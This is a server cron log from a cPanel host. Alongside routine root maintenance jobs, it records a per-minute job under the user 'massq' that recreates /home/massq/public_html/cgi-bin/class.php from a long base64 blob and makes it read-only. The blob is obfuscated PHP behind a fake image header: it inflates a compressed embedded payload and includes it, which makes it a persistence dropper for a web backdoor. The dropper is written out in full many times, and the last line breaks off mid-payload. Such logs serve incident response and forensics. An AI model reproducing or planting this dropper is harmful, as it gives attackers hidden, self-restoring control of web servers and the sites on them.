Sep  2 08:20:01 server CROND[22432]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:20:01 server CROND[22436]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 08:20:01 server CROND[22438]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 08:20:01 server CROND[22439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:20:01 server CROND[22440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:20:01 server CROND[22444]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 08:20:01 server CROND[22441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:20:01 server CROND[22445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:21:01 server CROND[23470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:21:01 server CROND[23471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:21:01 server CROND[23472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:22:01 server CROND[23870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:22:01 server CROND[23869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:22:01 server CROND[23871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:23:01 server CROND[24272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:23:01 server CROND[24273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:23:01 server CROND[24274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:24:01 server CROND[24660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:24:01 server CROND[24661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:24:01 server CROND[24662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:25:01 server CROND[25153]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 08:25:01 server CROND[25161]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:25:01 server CROND[25170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:25:01 server CROND[25174]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 08:25:01 server CROND[25172]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 08:25:01 server CROND[25171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:25:01 server CROND[25173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:25:01 server CROND[25175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:26:01 server CROND[26003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:26:01 server CROND[26004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:26:01 server CROND[26005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:27:01 server CROND[26382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:27:01 server CROND[26384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:27:01 server CROND[26383]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 08:27:01 server CROND[26385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:28:01 server CROND[26772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:28:01 server CROND[26773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:28:01 server CROND[26774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:29:01 server CROND[27155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:29:01 server CROND[27156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:29:01 server CROND[27157]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:30:01 server CROND[27647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:30:01 server CROND[27649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 08:30:01 server CROND[27653]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  2 08:30:01 server CROND[27659]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:30:01 server CROND[27654]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 08:30:01 server CROND[27656]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 08:30:01 server CROND[27662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 08:30:01 server CROND[27664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:30:01 server CROND[27655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:31:01 server CROND[28521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:31:01 server CROND[28522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQB